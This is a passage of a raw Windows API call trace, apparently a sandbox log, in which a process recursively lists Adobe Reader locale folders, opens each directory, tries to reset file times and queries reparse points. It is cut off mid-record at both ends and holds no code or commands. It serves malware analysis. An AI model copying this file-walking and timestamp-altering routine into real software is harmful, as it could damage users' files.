(HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12750c8 [0081.771] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.772] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.772] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.773] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.773] NtClose (Handle=0x174) returned 0x0 [0081.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12750c8) returned 1 [0081.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12750c8 [0081.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12751d0 [0081.774] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0081.774] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.774] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12752d8 [0081.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12599e8 [0081.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12753e0 [0081.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.776] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259a08 [0081.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12754e8 [0081.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.777] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.777] GetLastError () returned 0x12 [0081.777] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0081.777] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.777] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.778] GetLastError () returned 0x12 [0081.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12751d0) returned 1 [0081.778] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0081.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12752d8) returned 1 [0081.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12750c8) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.DEU", cAlternateFileName="")) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 1 [0081.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ba4120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.DEU", cAlternateFileName="")) returned 0 [0081.778] GetLastError () returned 0x12 [0081.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.779] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.779] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0081.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.779] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.780] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.780] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0081.780] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0081.781] NtClose (Handle=0x168) returned 0x0 [0081.781] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.781] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.781] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.783] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.783] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="")) returned 1 [0081.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.784] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0081.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259a28 [0081.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12750c8 [0081.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.785] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ESP", cAlternateFileName="")) returned 1 [0081.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259a48 [0081.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12752d8 [0081.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.786] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.ESP", cAlternateFileName="")) returned 1 [0081.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.786] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.786] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259a68 [0081.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12751d0 [0081.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.787] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.ESP", cAlternateFileName="")) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259a88 [0081.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12755f0 [0081.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.789] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.ESP", cAlternateFileName="")) returned 1 [0081.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259aa8 [0081.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12756f8 [0081.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.790] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.ESP", cAlternateFileName="")) returned 1 [0081.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259ac8 [0081.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275800 [0081.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.792] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.ESP", cAlternateFileName="")) returned 1 [0081.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1259ae8 [0081.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1275908 [0081.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.ESP", cAlternateFileName="")) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.793] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 